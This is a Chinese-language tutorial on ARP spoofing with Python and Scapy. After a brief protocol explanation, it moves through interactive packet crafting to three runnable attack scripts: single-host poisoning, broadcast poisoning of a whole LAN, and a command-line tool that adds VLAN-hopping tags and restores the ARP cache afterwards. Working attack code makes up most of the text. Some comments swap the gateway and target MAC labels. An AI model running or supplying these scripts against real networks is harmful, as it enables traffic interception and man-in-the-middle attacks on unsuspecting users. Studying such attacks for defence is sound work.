ARP
arp協議
ARP(Address Resolution Protocol)即地址解析協議, 用於實現從 IP 地址到 MAC 地址的映射,即詢問目標IP對應的MAC地址,位於數據鏈路層。
arp欺騙
ARP欺騙(ARP spoofing),又稱ARP毒化(ARP poisoning),通過欺騙局域網內訪問者PC的網關MAC地址,使訪問者PC錯以爲攻擊者更改後的MAC地址是網關的MAC,從而實現竊聽數據包
構造數據包
環境
網關 : 10.35.71.254
目標機 : 10.35.71.205
攻擊機 : 10.35.68.121
利用Scapy獲取分別的ip地址
>>> getmacbyip('10.35.71.205')
'a0:8c:fd:1b:cb:90' #網關mac地址
>>> getmacbyip('10.35.71.254')
'74:25:8a:6a:09:1d #目標機網絡地址
>>> get_if_hwaddr('eth0')
'00:0c:29:62:44:de' #自己的mac地址
ARP
>>> ls(ARP)
hwtype : XShortField = (1)
ptype : XShortEnumField = (2048)
hwlen : FieldLenField = (None)
plen : FieldLenField = (None)
op : ShortEnumField = (1)
hwsrc : MultipleTypeField = (None)
psrc : MultipleTypeField = (None)
hwdst : MultipleTypeField = (None)
pdst : MultipleTypeField = (None)
構造ARP需要我們注意的有5個參數:
-
op 取值爲1或者2,代表ARP請求或者響應包。
-
hwsrc 發送方Mac地址。
-
psrc 發送方IP地址。
-
hwdst 目標Mac地址。
-
pdst 目標IP地址。
ARP欺騙:發送arp包,讓目標機
以爲是網關
發過來的,並且網關mac
對應的是攻擊機ip
,使目標機以爲攻擊機mac
爲網關的mac
packet=Ether(src=攻擊機mac
,dst=目標機mac
)/ARP(hwsrc=攻擊機mac
,hwdst=目標機mac
,psrc=網關ip
,pdst=目標機ip
,op=1)
>>> mac_self = get_if_hwaddr('eth0')
>>> mac_target = getmacbyip('10.35.71.205')
>>>packet=Ether(src=mac_self,dst=mac_target)/ARP(hwsrc=mac_self,hwdst=mac_target,psrc='10.35.71.254',pdst='10.35.71.205',op=1)
>>> packet.show()
###[ Ethernet ]###
dst= a0:8c:fd:1b:cb:90
src= 00:0c:29:62:44:de
type= 0x806
###[ ARP ]###
hwtype= 0x1
ptype= 0x800
hwlen= None
plen= None
op= who-has
hwsrc= 00:0c:29:62:44:de
psrc= 10.35.71.254
hwdst= a0:8c:fd:1b:cb:90
pdst= 10.35.71.205
正常的arp緩存表 arp -a
發送包
>>> sendp(packet,loop=1) #sendp 發送二層包 ..............................................................................................................................................
[...]
毒化後
編寫腳本
1.demo
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from scapy.all import (
get_if_hwaddr,
getmacbyip,
Ether,
ARP,
sendp)
def arp_spoof(target,host,iface):
# target 目標機ip
# host 僞裝的ip
mac_self = get_if_hwaddr(iface)
mac_target = getmacbyip(target)
try:
while 1 :
sendp(Ether(src=mac_self,dst=mac_target)/
ARP(hwsrc=mac_self,hwdst=mac_target,psrc=host,pdst=target,op=1))
except KeyboardInterrupt: #捕獲Ctrl + C
print('\n[+]Stopped poison')
if __name__ == '__main__':
target = '10.35.71.205'
host = '10.35.71.254'
iface = 'eth0'
arp_spoof(target,host,iface)
運行演示
2.添加廣播式的arp欺騙
這對局域網所有主機的進行欺騙,所有主機都會以爲攻擊機爲網關
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from scapy.all import (
get_if_hwaddr,
getmacbyip,
Ether,
ARP,
sendp)
def arp_spoof(target,host,iface):
# target 目標機ip
# host 僞裝的ip
mac_self = get_if_hwaddr(iface)
#如果沒有設置目標,則爲廣播形式
if target:
mac_target = getmacbyip(target)
packet = Ether(src=mac_self, dst=mac_target) /\
ARP(hwsrc=mac_self, hwdst=mac_target, psrc=host, pdst=target, op=1)
print('[+]Poisoning --> ', target, end=' ')
else:
mac_borad = 'ff:ff:ff:ff:ff:ff'
packet = Ether(src=mac_self, dst=mac_borad) /\
ARP(hwsrc=mac_self, hwdst=mac_borad, psrc=host, pdst=target, op=1)
print('[+]Poisoning --> Lan', end=' ')
try:
while 1 :
sendp(packet,verbose=False)
except KeyboardInterrupt: #捕獲Ctrl + C
print('\n[+]Stopped poison')
if __name__ == '__main__':
target = ''
host = '10.35.71.254'
iface = 'eth0'
arp_spoof(target,host,iface)
3.完善代碼
加入了跨VLAN的功能
詳見Python黑帽編程 3.4 跨域VLAN | 玄魂工作室
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from scapy.all import (
get_if_hwaddr,
getmacbyip,
ARP,
Dot1Q,
Ether,
sendp,
)
import argparse
import os
import sys
import time
mac_broad = 'ff:ff:ff:ff:ff:ff'
def arp_spoof(iface,target,host,vlan_own=False,vlan_target=False):
#target 目標機ip
#host 僞裝的ip
mac_self = get_if_hwaddr(iface) #自身mac
if target:
mac_target = getmacbyip(target) #目標機mac
if not mac_target :
print('[-]Error: Could not resole targets MAC address')
sys.exit(1)
ethernet = Ether(src=mac_self, dst=mac_target)
arp = ARP(hwsrc=mac_self, psrc=host,hwdst=mac_target,pdst=target, op=1)
print('[+]Poisoning --> ', target,end=' ')
else:
ethernet = Ether(src=mac_self, dst=mac_broad)
arp = ARP(hwsrc=mac_self,psrc=host,op=1)
print('[+]Poisoning --> LAN',end='')
#判斷是否加入Vlan標識
if vlan_target:
vlan_tag = Dot1Q(vlan=vlan_own)/Dot1Q(vlan_target)
pkt = ethernet/vlan_tag/arp
else:
pkt = ethernet/arp
print(" ('Ctrl + C' stop)")
try:
while True:
sendp(pkt,iface=iface,verbose=False)
except KeyboardInterrupt:
print('\n[+]Stopped poison')
arp_recover(iface,host)
#發送正常的arp包
def arp_recover(iface,host):
time.sleep(1)
print('[*]Recovering the network')
mac_host = getmacbyip(host)
pkt = Ether(src=mac_host, dst=mac_broad)/ARP(hwsrc=mac_host, psrc=host, op=1)
sendp(pkt,iface=iface,inter=1,count=2,verbose=False) #inter 發包間隔
time.sleep(1)
print('[+]Complete')
def main():
if os.geteuid() != 0:
print('[-]Need root user to run')
sys.exit(1)
usage = 'usage: arp_spoof.py [-h] [-i IFACE] [-t TARGET] [-vl vlan_own vlan_target] host'
parser = argparse.ArgumentParser(usage=usage)
parser.add_argument('-i','--iface',default='eth0',help='The network interface of use')
parser.add_argument('-t','--target',help='Specify a target to ARP poison')
parser.add_argument('-vl','--vlan',nargs=2,help='The vlan hopping of use eg:-vl 1 2')
parser.add_argument('host',help='host of impersonate')
try:
args = parser.parse_args()
iface,target,vlan,host = args.iface,args.target,args.vlan,args.host
if vlan:
arp_spoof(iface,target,host,vlan_own=vlan[0],vlan_target=vlan[1],)
else:
arp_spoof(iface,target,host)
except ValueError: #捕獲輸入參數錯誤
parser.print_help()
if __name__ == '__main__':
main()